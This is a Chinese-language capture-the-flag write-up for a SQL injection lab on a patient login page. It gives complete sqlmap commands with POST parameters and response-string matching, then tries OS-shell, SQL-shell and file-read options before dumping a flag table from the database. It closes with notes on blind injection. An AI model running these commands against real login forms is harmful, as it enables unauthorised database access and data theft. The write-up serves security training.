refer to:
https://yunjing.ichunqiu.com/cve/detail/740?type=1&pay=2
打开页面看一下:是个SQLI
看了下提示,是在病人登录页面. (找了其它的链接,没有发现有参数的东东)
手动测试,并没有发现SQLI报错:
还是用SQLMAP试一下吧。。。--string 就是登录错误显示的文本好了。
sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-d
el="&" --string="Change a few things up and try submitting again"
显示可以发现有SQLI, 但是跑到最后又不行。。。
运行到第三次后发现了: (加上了--debug )
完整命令:
sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-del="&" --string="Change a few things up and try submitting again" --debug
尝试获得flag:
--os-shell 不行
--sql-shell 不行
--file-read=/flags 不行 ( 此时还在猜测 flag 位于 /flag)
看了一下其他人的资料,发现flag 隐藏在db 中。
于是 :
--dbs
-D ctf --tables 进一步查看 cft 数据库下面的 所有 表
--sql-shell
sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-del="&" --string="Change a few things up and try submitting again" --debug --sql-shell
然后 select * from ctf.flag;
小结:
1. 不是每个SQLI都是通过 ' 判断的,本例这个加不加' 都一样200
2. 不是每次SQLMAP都会成功的。依赖于网络,本次是3次
3. 不是SQLMAP在前期 报了warning 说该参数可能不可被注入,就一定不可注入的。还是要看后面的结果的.
4. blind 方式获得数据,特别慢。几秒钟才一个字母。
5. blind 方式,貌似无法获得 os shell. (可以看到sqlmap在多个位置进行尝试) 可以使用 sql shell, 但是获得结果也特别慢。